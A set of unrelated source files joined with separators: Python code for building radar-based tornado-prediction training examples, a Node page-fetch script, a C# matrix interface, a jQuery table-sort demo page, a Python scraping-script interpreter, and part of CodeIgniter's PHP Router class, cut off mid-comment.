example_dict[STORM_TIMES_KEY] = (
example_dict[STORM_TIMES_KEY][example_indices_to_keep]
)
if read_all_target_vars:
example_dict[TARGET_MATRIX_KEY] = (
example_dict[TARGET_MATRIX_KEY][example_indices_to_keep, :]
)
else:
example_dict[TARGET_VALUES_KEY] = (
example_dict[TARGET_VALUES_KEY][example_indices_to_keep]
)
if targets_only:
netcdf_dataset.close()
return example_dict
example_dict = _subset_radar_data(
example_dict=example_dict, netcdf_dataset_object=netcdf_dataset,
example_indices_to_keep=example_indices_to_keep,
field_names_to_keep=radar_field_names_to_keep,
heights_to_keep_m_agl=radar_heights_to_keep_m_agl,
num_rows_to_keep=num_rows_to_keep,
num_columns_to_keep=num_columns_to_keep)
if not include_soundings:
netcdf_dataset.close()
return example_dict
example_dict = _subset_sounding_data(
example_dict=example_dict, netcdf_dataset_object=netcdf_dataset,
example_indices_to_keep=example_indices_to_keep,
field_names_to_keep=sounding_field_names_to_keep,
heights_to_keep_m_agl=sounding_heights_to_keep_m_agl)
netcdf_dataset.close()
return example_dict
def read_specific_examples(
netcdf_file_name, read_all_target_vars, full_storm_id_strings,
storm_times_unix_sec, target_name=None, include_soundings=True,
radar_field_names_to_keep=None, radar_heights_to_keep_m_agl=None,
sounding_field_names_to_keep=None, sounding_heights_to_keep_m_agl=None,
num_rows_to_keep=None, num_columns_to_keep=None):
"""Reads specific examples (with specific ID-time pairs) from NetCDF file.
:param netcdf_file_name: Path to input file.
:param read_all_target_vars: See doc for `read_example_file`.
:param full_storm_id_strings: length-E list of storm IDs.
:param storm_times_unix_sec: length-E numpy array of valid times.
:param target_name: See doc for `read_example_file`.
:param metadata_only: Same.
:param include_soundings: Same.
:param radar_field_names_to_keep: Same.
:param radar_heights_to_keep_m_agl: Same.
:param sounding_field_names_to_keep: Same.
:param sounding_heights_to_keep_m_agl: Same.
:param num_rows_to_keep: Same.
:param num_columns_to_keep: Same.
:return: example_dict: See doc for `write_example_file`.
"""
if (
target_name ==
'tornado_lead-time=0000-3600sec_distance=00000-10000m'
):
target_name = (
'tornado_lead-time=0000-3600sec_distance=00000-30000m_min-fujita=0'
)
error_checking.assert_is_boolean(read_all_target_vars)
error_checking.assert_is_boolean(include_soundings)
example_dict, dataset_object = _read_metadata_from_example_file(
netcdf_file_name=netcdf_file_name, include_soundings=include_soundings)
example_indices_to_keep = tracking_utils.find_storm_objects(
all_id_strings=example_dict[FULL_IDS_KEY],
all_times_unix_sec=example_dict[STORM_TIMES_KEY],
id_strings_to_keep=full_storm_id_strings,
times_to_keep_unix_sec=storm_times_unix_sec, allow_missing=False
)
example_dict[FULL_IDS_KEY] = [
example_dict[FULL_IDS_KEY][k] for k in example_indices_to_keep
]
example_dict[STORM_TIMES_KEY] = example_dict[STORM_TIMES_KEY][
example_indices_to_keep]
if read_all_target_vars:
example_dict[TARGET_MATRIX_KEY] = numpy.array(
dataset_object.variables[TARGET_MATRIX_KEY][
example_indices_to_keep, :],
dtype=int
)
else:
target_index = example_dict[TARGET_NAMES_KEY].index(target_name)
example_dict[TARGET_NAME_KEY] = target_name
example_dict.pop(TARGET_NAMES_KEY)
example_dict[TARGET_VALUES_KEY] = numpy.array(
dataset_object.variables[TARGET_MATRIX_KEY][
example_indices_to_keep, target_index],
dtype=int
)
example_dict = _subset_radar_data(
example_dict=example_dict, netcdf_dataset_object=dataset_object,
example_indices_to_keep=example_indices_to_keep,
field_names_to_keep=radar_field_names_to_keep,
heights_to_keep_m_agl=radar_heights_to_keep_m_agl,
num_rows_to_keep=num_rows_to_keep,
num_columns_to_keep=num_columns_to_keep)
if not include_soundings:
dataset_object.close()
return example_dict
example_dict = _subset_sounding_data(
example_dict=example_dict, netcdf_dataset_object=dataset_object,
example_indices_to_keep=example_indices_to_keep,
field_names_to_keep=sounding_field_names_to_keep,
heights_to_keep_m_agl=sounding_heights_to_keep_m_agl)
dataset_object.close()
return example_dict
def reduce_examples_3d_to_2d(example_dict, list_of_operation_dicts):
"""Reduces examples from 3-D to 2-D.
If the examples contain both 2-D azimuthal-shear images and 3-D
reflectivity images:
- Keys "reflectivity_image_matrix_dbz" and "az_shear_image_matrix_s01" are
required.
- "radar_heights_m_agl" should contain only reflectivity heights.
- "radar_field_names" should contain only the names of azimuthal-shear
fields.
If the examples contain 3-D radar images and no 2-D images:
- Key "radar_image_matrix" is required.
- Each field in "radar_field_names" appears at each height in
"radar_heights_m_agl".
- Thus, there are F_r elements in "radar_field_names", H_r elements in
"radar_heights_m_agl", and F_r * H_r field-height pairs.
After dimensionality reduction (from 3-D to 2-D):
- Keys "reflectivity_image_matrix_dbz", "az_shear_image_matrix_s01", and
"radar_heights_m_agl" will be absent.
- Key "radar_image_matrix" will be present. The dimensions will be
E x M x N x C.
- Key "radar_field_names" will be a length-C list, where the [j]th item is
the field name for the [j]th channel of radar_image_matrix
(radar_image_matrix[..., j]).
- Key "min_radar_heights_m_agl" will be a length-C numpy array, where the
[j]th item is the MINIMUM height for the [j]th channel of
radar_image_matrix.
- Key "max_radar_heights_m_agl" will be a length-C numpy array, where the
[j]th item is the MAX height for the [j]th channel of radar_image_matrix.
- Key "radar_layer_operation_names" will be a length-C list, where the [j]th
item is the name of the operation used to create the [j]th channel of
radar_image_matrix.
:param example_dict: See doc for `write_example_file`.
:param list_of_operation_dicts: See doc for `_check_layer_operation`.
:return: example_dict: See general discussion above, for how the input
`example_dict` is changed to the output `example_dict`.
"""
if RADAR_IMAGE_MATRIX_KEY in example_dict:
num_radar_dimensions = len(
example_dict[RADAR_IMAGE_MATRIX_KEY].shape
) - 2
assert num_radar_dimensions == 3
new_radar_image_matrix = None
new_field_names = []
new_min_heights_m_agl = []
new_max_heights_m_agl = []
new_operation_names = []
if AZ_SHEAR_IMAGE_MATRIX_KEY in example_dict:
new_radar_image_matrix = example_dict[AZ_SHEAR_IMAGE_MATRIX_KEY] + 0.
for this_field_name in example_dict[RADAR_FIELDS_KEY]:
new_field_names.append(this_field_name)
new_operation_names.append(MAX_OPERATION_NAME)
if this_field_name == radar_utils.LOW_LEVEL_SHEAR_NAME:
new_min_heights_m_agl.append(0)
new_max_heights_m_agl.append(2000)
else:
new_min_heights_m_agl.append(3000)
new_max_heights_m_agl.append(6000)
for this_operation_dict in list_of_operation_dicts:
this_new_matrix, this_operation_dict = _apply_layer_operation(
example_dict=example_dict, operation_dict=this_operation_dict)
this_new_matrix = numpy.expand_dims(this_new_matrix, axis=-1)
if new_radar_image_matrix is None:
new_radar_image_matrix = this_new_matrix + 0.
else:
new_radar_image_matrix = numpy.concatenate(
(new_radar_image_matrix, this_new_matrix), axis=-1
)
new_field_names.append(this_operation_dict[RADAR_FIELD_KEY])
new_min_heights_m_agl.append(this_operation_dict[MIN_HEIGHT_KEY])
new_max_heights_m_agl.append(this_operation_dict[MAX_HEIGHT_KEY])
new_operation_names.append(this_operation_dict[OPERATION_NAME_KEY])
example_dict.pop(REFL_IMAGE_MATRIX_KEY, None)
example_dict.pop(AZ_SHEAR_IMAGE_MATRIX_KEY, None)
example_dict.pop(RADAR_HEIGHTS_KEY, None)
example_dict[RADAR_IMAGE_MATRIX_KEY] = new_radar_image_matrix
example_dict[RADAR_FIELDS_KEY] = new_field_names
example_dict[MIN_RADAR_HEIGHTS_KEY] = numpy.array(
new_min_heights_m_agl, dtype=int)
example_dict[MAX_RADAR_HEIGHTS_KEY] = numpy.array(
new_max_heights_m_agl, dtype=int)
example_dict[RADAR_LAYER_OPERATION_NAMES_KEY] = new_operation_names
return example_dict
def create_examples(
target_file_names, target_names, num_examples_per_in_file,
top_output_dir_name, radar_file_name_matrix=None,
reflectivity_file_name_matrix=None, az_shear_file_name_matrix=None,
downsampling_dict=None, target_name_for_downsampling=None,
sounding_file_names=None):
"""Creates many input examples.
If `radar_file_name_matrix is None`, both `reflectivity_file_name_matrix`
and `az_shear_file_name_matrix` must be specified.
D = number of SPC dates in time period
:param target_file_names: length-D list of paths to target files (will be
read by `read_labels_from_netcdf`).
:param target_names: See doc for `_check_target_vars`.
:param num_examples_per_in_file: Number of examples to read from each input
file.
:param top_output_dir_name: Name of top-level directory. Files will be
written here by `write_example_file`, to locations determined by
`find_example_file`.
:param radar_file_name_matrix: numpy array created by either
`find_storm_images_2d` or `find_storm_images_3d`. Length of the first
axis is D.
:param reflectivity_file_name_matrix: numpy array created by
`find_storm_images_2d3d_myrorss`. Length of the first axis is D.
:param az_shear_file_name_matrix: Same.
:param downsampling_dict: See doc for `deep_learning_utils.sample_by_class`.
If None, there will be no downsampling.
:param target_name_for_downsampling:
[used only if `downsampling_dict is not None`]
Name of target variable to use for downsampling.
:param sounding_file_names: length-D list of paths to sounding files (will
be read by `soundings.read_soundings`). If None, will not include
soundings.
"""
_check_target_vars(target_names)
num_target_vars = len(target_names)
if radar_file_name_matrix is None:
error_checking.assert_is_numpy_array(
reflectivity_file_name_matrix, num_dimensions=2)
num_file_times = reflectivity_file_name_matrix.shape[0]
these_expected_dim = numpy.array([num_file_times, 2], dtype=int)
error_checking.assert_is_numpy_array(
az_shear_file_name_matrix, exact_dimensions=these_expected_dim)
else:
error_checking.assert_is_numpy_array(radar_file_name_matrix)
num_file_dimensions = len(radar_file_name_matrix.shape)
num_file_times = radar_file_name_matrix.shape[0]
error_checking.assert_is_geq(num_file_dimensions, 2)
error_checking.assert_is_leq(num_file_dimensions, 3)
these_expected_dim = numpy.array([num_file_times], dtype=int)
error_checking.assert_is_numpy_array(
numpy.array(target_file_names), exact_dimensions=these_expected_dim
)
if sounding_file_names is not None:
error_checking.assert_is_numpy_array(
numpy.array(sounding_file_names),
exact_dimensions=these_expected_dim
)
error_checking.assert_is_integer(num_examples_per_in_file)
error_checking.assert_is_geq(num_examples_per_in_file, 1)
full_id_strings = []
storm_times_unix_sec = numpy.array([], dtype=int)
target_matrix = None
for i in range(num_file_times):
print('Reading data from: "{0:s}"...'.format(target_file_names[i]))
this_target_dict = target_val_utils.read_target_values(
netcdf_file_name=target_file_names[i], target_names=target_names)
full_id_strings += this_target_dict[target_val_utils.FULL_IDS_KEY]
storm_times_unix_sec = numpy.concatenate((
storm_times_unix_sec,
this_target_dict[target_val_utils.VALID_TIMES_KEY]
))
if target_matrix is None:
target_matrix = (
this_target_dict[target_val_utils.TARGET_MATRIX_KEY] + 0
)
else:
target_matrix = numpy.concatenate(
(target_matrix,
this_target_dict[target_val_utils.TARGET_MATRIX_KEY]),
axis=0
)
print('\n')
num_examples_found = len(full_id_strings)
num_examples_to_use = num_examples_per_in_file * num_file_times
if downsampling_dict is None:
indices_to_keep = numpy.linspace(
0, num_examples_found - 1, num=num_examples_found, dtype=int)
if num_examples_found > num_examples_to_use:
indices_to_keep = numpy.random.choice(
indices_to_keep, size=num_examples_to_use, replace=False)
else:
downsampling_index = target_names.index(target_name_for_downsampling)
indices_to_keep = dl_utils.sample_by_class(
sampling_fraction_by_class_dict=downsampling_dict,
target_name=target_name_for_downsampling,
target_values=target_matrix[:, downsampling_index],
num_examples_total=num_examples_to_use)
full_id_strings = [full_id_strings[k] for k in indices_to_keep]
storm_times_unix_sec = storm_times_unix_sec[indices_to_keep]
target_matrix = target_matrix[indices_to_keep, :]
for j in range(num_target_vars):
these_unique_classes, these_unique_counts = numpy.unique(
target_matrix[:, j], return_counts=True
)
for k in range(len(these_unique_classes)):
print((
'Number of examples with "{0:s}" in class {1:d} = {2:d}'
).format(
target_names[j], these_unique_classes[k], these_unique_counts[k]
))
print('\n')
first_spc_date_string = time_conversion.time_to_spc_date_string(
numpy.min(storm_times_unix_sec)
)
last_spc_date_string = time_conversion.time_to_spc_date_string(
numpy.max(storm_times_unix_sec)
)
spc_date_strings = time_conversion.get_spc_dates_in_range(
first_spc_date_string=first_spc_date_string,
last_spc_date_string=last_spc_date_string)
spc_date_to_out_file_dict = {}
for this_spc_date_string in spc_date_strings:
this_file_name = find_example_file(
top_directory_name=top_output_dir_name, shuffled=False,
spc_date_string=this_spc_date_string,
raise_error_if_missing=False)
if os.path.isfile(this_file_name):
os.remove(this_file_name)
spc_date_to_out_file_dict[this_spc_date_string] = this_file_name
for i in range(num_file_times):
if radar_file_name_matrix is None:
this_file_name = reflectivity_file_name_matrix[i, 0]
else:
this_file_name = numpy.ravel(radar_file_name_matrix[i, ...])[0]
this_time_unix_sec, this_spc_date_string = (
storm_images.image_file_name_to_time(this_file_name)
)
if this_time_unix_sec is None:
this_first_time_unix_sec = (
time_conversion.get_start_of_spc_date(this_spc_date_string)
)
this_last_time_unix_sec = (
time_conversion.get_end_of_spc_date(this_spc_date_string)
)
else:
this_first_time_unix_sec = this_time_unix_sec + 0
this_last_time_unix_sec = this_time_unix_sec + 0
these_indices = numpy.where(
numpy.logical_and(
storm_times_unix_sec >= this_first_time_unix_sec,
storm_times_unix_sec <= this_last_time_unix_sec)
)[0]
if len(these_indices) == 0:
continue
these_full_id_strings = [full_id_strings[m] for m in these_indices]
these_storm_times_unix_sec = storm_times_unix_sec[these_indices]
this_target_matrix = target_matrix[these_indices, :]
if sounding_file_names is None:
this_sounding_file_name = None
else:
this_sounding_file_name = sounding_file_names[i]
if radar_file_name_matrix is None:
this_example_dict = _create_2d3d_examples_myrorss(
azimuthal_shear_file_names=az_shear_file_name_matrix[
i, ...].tolist(),
reflectivity_file_names=reflectivity_file_name_matrix[
i, ...].tolist(),
full_id_strings=these_full_id_strings,
storm_times_unix_sec=these_storm_times_unix_sec,
target_matrix=this_target_matrix,
sounding_file_name=this_sounding_file_name,
sounding_field_names=None)
elif num_file_dimensions == 3:
this_example_dict = _create_3d_examples(
radar_file_name_matrix=radar_file_name_matrix[i, ...],
full_id_strings=these_full_id_strings,
storm_times_unix_sec=these_storm_times_unix_sec,
target_matrix=this_target_matrix,
sounding_file_name=this_sounding_file_name,
sounding_field_names=None)
else:
this_example_dict = _create_2d_examples(
radar_file_names=radar_file_name_matrix[i, ...].tolist(),
full_id_strings=these_full_id_strings,
storm_times_unix_sec=these_storm_times_unix_sec,
target_matrix=this_target_matrix,
sounding_file_name=this_sounding_file_name,
sounding_field_names=None)
print('\n')
if this_example_dict is None:
continue
this_example_dict.update({TARGET_NAMES_KEY: target_names})
this_output_file_name = spc_date_to_out_file_dict[this_spc_date_string]
print('Writing examples to: "{0:s}"...'.format(this_output_file_name))
write_example_file(
netcdf_file_name=this_output_file_name,
example_dict=this_example_dict,
append_to_file=os.path.isfile(this_output_file_name)
)
|
var curl = require('./lib/curl');
var clean = require('./lib/extract');
curl('http://blog.rainy.im/2015/09/02/web-content-and-main-image-extractor/', function (content) {
console.log('fetch done');
clean(content, {
blockSize: 3
});
});
|
// IMatrix.cs, 07.11.2019
// Copyright (C) Dominic Beger 07.11.2019
namespace SharpMath.Geometry
{
public interface IMatrix
{
uint ColumnCount { get; }
double this[uint row, uint column] { get; set; }
double this[uint index] { get; set; }
uint RowCount { get; }
}
} |
<!DOCTYPE html>
<html>
<head>
<title>Stupid jQuery table sort</title>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>
<script src="../stupidtable.js?dev"></script>
<script>
// ======================================================
// Example 1
// ======================================================
$(function(){
var $table = $("#example-1");
$table.stupidtable_settings({
should_redraw: function(sort_info){
var sorted_column = sort_info.column;
var first_val = sorted_column[0];
var last_val = sorted_column[sorted_column.length - 1][0];
// If first and last element of the sorted column are the same, we
// can assume all elements are the same.
return sort_info.compare_fn(first_val, last_val) !== 0;
}
});
$table.stupidtable();
});
</script>
<style type="text/css">
table {
border-collapse: collapse;
}
th, td {
padding: 5px 10px;
border: 1px solid #999;
}
th {
background-color: #eee;
}
th[data-sort]{
cursor:pointer;
}
tr.awesome{
color: red;
}
</style>
</style>
</head>
<body>
<h1>StupidTable with settings</h1>
<p>This page shows how specific behaviors can be introduced by providing
settings to StupidTable. View the source of this page to see the settings in
use.</p>
<hr/>
<h2>Example 1</h2>
<p> This table does not redraw when attempting to sort a column that has identical values in all rows. </p>
<table id='example-1'>
<thead>
<tr>
<th data-sort="int">int</th>
<th data-sort="float">float</th>
<th data-sort="string" data-sort-onload="yes">string</th>
<th data-sort="int">int (identical)</th>
</tr>
</thead>
<tbody>
<tr>
<td>15</td>
<td>-.18</td>
<td>banana</td>
<td>99</td>
</tr>
<tr class="awesome">
<td>95</td>
<td>36</td>
<td>coke</td>
<td>99</td>
</tr>
<tr>
<td>2</td>
<td>-152.5</td>
<td>apple</td>
<td>99</td>
</tr>
<tr>
<td>-53</td>
<td>88.5</td>
<td>zebra</td>
<td>99</td>
</tr>
<tr>
<td>195</td>
<td>-858</td>
<td>orange</td>
<td>99</td>
</tr>
</tbody>
</table>
<pre><code>
var $table = $("#example-1");
$table.stupidtable_settings({
should_redraw: function(sort_info){
var sorted_column = sort_info.column;
var first_val = sorted_column[0];
var last_val = sorted_column[sorted_column.length - 1][0];
// If first and last element of the sorted column are the same, we
// can assume all elements are the same.
return sort_info.compare_fn(first_val, last_val) !== 0;
}
});
$table.stupidtable();
</code></pre>
</body>
</html>
|
import os
import re
import sys
import json
import shlex
import logging
import inspect
import functools
import importlib
from pprint import pformat
from collections import namedtuple
from traceback import format_tb
from requests.exceptions import RequestException
import strutil
from cachely.loader import Loader
from .lib import library, interpreter_library, DataProxy
from . import utils
from . import core
from . import exceptions
logger = logging.getLogger(__name__)
BASE_LIBS = ['snagit.lib.text', 'snagit.lib.lines', 'snagit.lib.soup']
ReType = type(re.compile(''))
class Instruction(namedtuple('Instruction', 'cmd args kws line lineno')):
'''
``Instruction``'s take the form::
command [arg [arg ...]] [key=arg [key=arg ...]]
Where ``arg`` can be one of: single quoted string, double quoted string,
digit, True, False, None, or a simple, unquoted string.
'''
values_pat = r'''
[rj]?'(?:(\'|[^'])*?)' |
[r]?"(?:(\"|[^"])*?)" |
(\d+) |
(True|False|None) |
([^\s,]+)
'''
args_re = re.compile(
r'''^(
(?P<kwd>\w[\w\d-]*)=(?P<val>{0}) |
(?P<arg>{0}|([\s,]+))
)\s*'''.format(values_pat),
re.VERBOSE
)
value_dict = {'True': True, 'False': False, 'None': None}
def __str__(self):
def _repr(w):
if isinstance(w, ReType):
return 'r"{}"'.format(str(w.pattern))
return repr(w)
return '{}{}{}'.format(
self.cmd.upper(),
' {}'.format(
' '.join([_repr(c) for c in self.args]) if self.args else ''
),
' {}'.format(' '.join(
'{}={}'.format(k, _repr(v)) for k, v in self.kws.items()
) if self.kws else '')
)
@classmethod
def get_value(cls, s):
if s.isdigit():
return int(s)
elif s in cls.value_dict:
return cls.value_dict[s]
elif s.startswith(('r"', "r'")):
return re.compile(utils.escaped(s[2:-1]))
elif s.startswith("j'"):
return json.loads(utils.escaped(s[2:-1]))
elif s.startswith(('"', "'")):
return utils.escaped(s[1:-1])
else:
return s.strip()
@classmethod
def parse(cls, line, lineno):
args = []
kws = {}
cmd, text = strutil.splitter(line, expected=2, strip=True)
cmd = cmd.lower()
while text:
m = cls.args_re.search(text)
if not m:
break
gdict = m.groupdict()
kwd = gdict.get('kwd')
if kwd:
kws[kwd] = cls.get_value(gdict.get('val', ''))
else:
arg = gdict.get('arg', '').strip()
if arg != ',':
args.append(cls.get_value(arg))
text = text[len(m.group()):]
if text:
raise SyntaxError(
'Syntax error: "{}" (line {})'.format(text, lineno)
)
return cls(cmd, args, kws, line, lineno)
def lexer(code, lineno=0):
'''
Takes the script source code, scans it, and lexes it into
``Instructions``
'''
for chars in code.splitlines():
lineno += 1
line = chars.rstrip()
if not line or line.lstrip().startswith('#'):
continue
logger.debug('Lexed {} byte(s) line {}'.format(len(line), chars))
yield Instruction.parse(line, lineno)
def load_libraries(extensions=None):
if isinstance(extensions, str):
extensions = [extensions]
libs = BASE_LIBS + (extensions or [])
for lib in libs:
importlib.import_module(lib)
class Interpreter:
def __init__(
self,
contents=None,
loader=None,
use_cache=False,
do_pm=False,
extensions=None
):
self.use_cache = use_cache
self.loader = loader if loader else Loader(use_cache=use_cache)
self.contents = Contents(contents)
self.do_debug = False
self.do_pm = do_pm
self.instructions = []
load_libraries(extensions)
def load_sources(self, sources, use_cache=None):
use_cache = self.use_cache if use_cache is None else bool(use_cache)
contents = self.loader.load_sources(sources)
self.contents.update([
ct.decode() if isinstance(ct, bytes) else ct for ct in contents
])
def listing(self, linenos=False):
items = []
for instr in self.instructions:
items.append('{}{}'.format(
'{} '.format(instr.lineno) if linenos else '',
instr.line
))
return items
def lex(self, code):
lineno = self.instructions[-1].lineno if self.instructions else 0
instructions = list(lexer(code, lineno))
self.instructions.extend(instructions)
return instructions
def execute(self, code):
for instr in self.lex(code):
try:
self._execute_instruction(instr)
except exceptions.ProgramWarning as why:
print(why)
return self.contents
def _load_handler(self, instr):
if instr.cmd in library.registry:
func = library.registry[instr.cmd]
return self.contents, (func, instr.args, instr.kws)
elif instr.cmd in interpreter_library.registry:
func = interpreter_library.registry[instr.cmd]
return func, (self, instr.args, instr.kws)
raise exceptions.ProgramWarning(
'Unknown instruction (line {}): {}'.format(instr.lineno, instr.cmd)
)
def _execute_instruction(self, instr):
logger.debug('Executing {}'.format(instr.cmd))
handler, args = self._load_handler(instr)
do_debug, self.do_debug = self.do_debug, False
if do_debug:
utils.pdb.set_trace()
try:
handler(*args)
except Exception:
exc, value, tb = sys.exc_info()
if self.do_pm:
logger.error(
'Script exception, line {}: {} (Entering post_mortem)'.format( # noqa
instr.lineno,
value
)
)
utils.pdb.post_mortem(tb)
else:
raise
def execute_script(filename, contents=''):
code = utils.read_file(filename)
return execute_code(code, contents)
def execute_code(code, contents=''):
intrep = Interpreter(contents)
return str(intrep.execute(code))
class Contents:
def __init__(self, contents=None):
self.stack = []
self.set_contents(contents)
def __iter__(self):
return iter(self.contents)
def __len__(self):
return len(self.contents)
def __str__(self):
return '\n'.join(str(c) for c in self)
# def __getitem__(self, index):
# return self.contents[index]
def pop(self):
if self.stack:
self.contents = self.stack.pop()
def __call__(self, func, args, kws):
contents = []
for data in self:
result = func(data, args, kws)
contents.append(result)
self.update(contents)
def merge(self):
if self.contents:
first = self.contents[0]
data = first.merge(self.contents)
self.update([data])
def update(self, contents):
if self.contents:
self.stack.append(self.contents)
self.set_contents(contents)
def set_contents(self, contents):
self.contents = []
if isinstance(contents, (str, bytes)):
contents = [contents]
contents = contents or []
for ct in contents:
if isinstance(ct, (str, bytes)):
ct = DataProxy(ct)
self.contents.append(ct)
|
<?php
/**
* CodeIgniter
*
* An open source application development framework for PHP
*
* This content is released under the MIT License (MIT)
*
* Copyright (c) 2014 - 2017, British Columbia Institute of Technology
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
* @package CodeIgniter
* @author EllisLab Dev Team
* @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/)
* @copyright Copyright (c) 2014 - 2017, British Columbia Institute of Technology (http://bcit.ca/)
* @license http://opensource.org/licenses/MIT MIT License
* @link https://codeigniter.com
* @since Version 1.0.0
* @filesource
*/
defined('BASEPATH') OR exit('No direct script access allowed');
/**
* Router Class
*
* Parses URIs and determines routing
*
* @package CodeIgniter
* @subpackage Libraries
* @category Libraries
* @author EllisLab Dev Team
* @link https://codeigniter.com/user_guide/general/routing.html
*/
class CI_Router {
/**
* CI_Config class object
*
* @var object
*/
public $config;
/**
* List of routes
*
* @var array
*/
public $routes = array();
/**
* Current class name
*
* @var string
*/
public $class = '';
/**
* Current method name
*
* @var string
*/
public $method = 'index';
/**
* Sub-directory that contains the requested controller class
*
* @var string
*/
public $directory;
/**
* Default controller (and method if specific)
*
* @var string
*/
public $default_controller;
/**
* Translate URI dashes
*
* Determines whether dashes in controller & method segments
* should be automatically replaced by underscores.
*
* @var bool
*/
public $translate_uri_dashes = FALSE;
/**
* Enable query strings flag
*
* Determines whether to use GET parameters or segment URIs
*
* @var bool
*/
public $enable_query_strings = FALSE;
// --------------------------------------------------------------------
/**
* Class constructor
*
* Runs the route mapping function.
*
* @param array $routing
* @return void
*/
public function __construct($routing = NULL)
{
$this->config =& load_class('Config', 'core');
$this->uri =& load_class('URI', 'core');
$this->enable_query_strings = ( ! is_cli() && $this->config->item('enable_query_strings') === TRUE);
// If a directory override is configured, it has to be set before any dynamic routing logic
is_array($routing) && isset($routing['directory']) && $this->set_directory($routing['directory']);
$this->_set_routing();
// Set any routing overrides that may exist in the main index file
if (is_array($routing))
{
empty($routing['controller']) OR $this->set_class($routing['controller']);
empty($routing['function']) OR $this->set_method($routing['function']);
}
log_message('info', 'Router Class Initialized');
}
// --------------------------------------------------------------------
/**
* Set route mapping
*
* Determines what should be served based on the URI request,
* as well as any "routes" that have been set in the routing config file.
*
* @return void
*/
protected function _set_routing()
{
// Load the routes.php file. It would be great if we could
// skip this for enable_query_strings = TRUE, but then
// default_controller would be empty ...
if (file_exists(APPPATH.'config/routes.php'))
{
include(APPPATH.'config/routes.php');
}
if (file_exists(APPPATH.'config/'.ENVIRONMENT.'/routes.php'))
{
include(APPPATH.'config/'.ENVIRONMENT.'/routes.php');
}
// Validate & get reserved routes
if (isset($route) && is_array($route))
{
isset($route['default_controller']) && $this->default_controller = $route['default_controller'];
isset($route['translate_uri_dashes']) && $this->translate_uri_dashes = $route['translate_uri_dashes'];
unset($route['default_controller'], $route['translate_uri_dashes']);
$this->routes = $route;
}
// Are query strings enabled in the config file? Normally CI doesn't utilize query strings
// since URI segments are more search-engine friendly, but they can optionally be used.
// If this feature is enabled, we will gather the directory/class/method a little differently
if ($this->enable_query_strings)
{
// If the directory is set at this time, it means an override exists, so skip the checks
if ( ! isset($this->directory))
{
$_d = $this->config->item('directory_trigger');
$_d = isset($_GET[$_d]) ? trim($_GET[$_d], " \t\n\r\0\x0B/") : '';
if ($_d !== '')
{
$this->uri->filter_uri($_d);
$this->set_directory($_d);
}
}
$_c = trim($this->config->item('controller_trigger'));
if ( ! empty($_GET[$_c]))
{
$this->uri->filter_uri($_GET[$_c]);
$this->set_class($_GET[$_c]);
$_f = trim($this->config->item('function_trigger'));
if ( ! empty($_GET[$_f]))
{
$this->uri->filter_uri($_GET[$_f]);
$this->set_method($_GET[$_f]);
}
$this->uri->rsegments = array(
1 => $this->class,
2 => $this->method
);
}
else
{
$this->_set_default_controller();
}
// Routing rules don't apply to query strings and we don't need to detect
// directories, so we're done here
return;
}
// Is there anything to parse?
if ($this->uri->uri_string !== '')
{
$this->_parse_routes();
}
else
{
$this->_set_default_controller();
}
}
// --------------------------------------------------------------------
/**
* Set request route
*
* Takes an array of URI segments as input and sets the class/method
* to be called.
*
* @used-by CI_Router::_parse_routes()
* @param array $segments URI segments
* @return void
*/
protected function _set_request($segments = array())
{
$segments = $this->_validate_request($segments);
// If we don't have any segments left - try the default controller;
// WARNING: Directories get shifted out of the segments array!
if (empty($segments))
{
$this->_set_default_controller();
return;
}
if ($this->translate_uri_dashes === TRUE)
{
$segments[0] = str_replace('-', '_', $segments[0]);
if (isset($segments[1]))
{
$segments[1] = str_replace('-', '_', $segments[1]);
}
}
$this->set_class($segments[0]);
if (isset($segments[1]))
{
$this->set_method($segments[1]);
}
else
{
$this->set_method('index');
$segments[1] = $this->method;
}
array_unshift($segments, NULL);
unset($segments[0]);
$this->uri->rsegments = $segments;
}
// --------------------------------------------------------------------
/**
* Set default controller
*
* @return void
*/
protected function _set_default_controller()
{
if (empty($this->default_controller))
{
show_error('Unable to determine what should be displayed. A default route has not been specified in the routing file.');
}
// Is the method being specified?
if (sscanf($this->default_controller, '%[^/]/%s', $class, $method) !== 2)
{
$method = 'index';
}
if ( ! file_exists(APPPATH.'controllers/'.$this->directory.ucfirst($class).'.php'))
{
// This will trigger 404 later
return;
}
$this->set_class($class);
$this->set_method($method);
// Assign routed segments, index starting from 1
$this->uri->rsegments = array(
1 => $class,
2 => $method
);
}
// --------------------------------------------------------------------
/**
* Validate request
*
* Attempts validate the URI request and determine the controller path.
*
* @used-by CI_Router::_set_request()
* @param array $segments URI segments
* @return mixed URI segments
*/
protected function _validate_request($segments)
{
$c = count($segments);
$directory_override = isset($this->directory);
// Loop through our segments and return as soon as a controller
// is found or when such a directory doesn't exist
while ($c-- > 0)
{
$test = $this->directory
.ucfirst($this->translate_uri_dashes === TRUE ? str_replace('-', '_', $segments[0]) : $segments[0]);
if ( ! file_exists(APPPATH.'controllers/'.$test.'.php')
&& $directory_override === FALSE
&& is_dir(APPPATH.'controllers/'.$this->directory.$segments[0])
)
{
$this->set_directory(array_shift($segments), TRUE);
continue;
}
return $segments;
}
// This means that all segments were actually directories
return $segments;
}
// --------------------------------------------------------------------
/**
* Parse Routes
*
* Matches any routes that may exist in the config/routes.php file
* against the URI to determine if the class/method need to be remapped.
*
* @return void
*/
protected function _parse_routes()
{
// Turn the segment array into a URI string
$uri = implode('/', $this->uri->segments);
/*/ Get HTTP verb
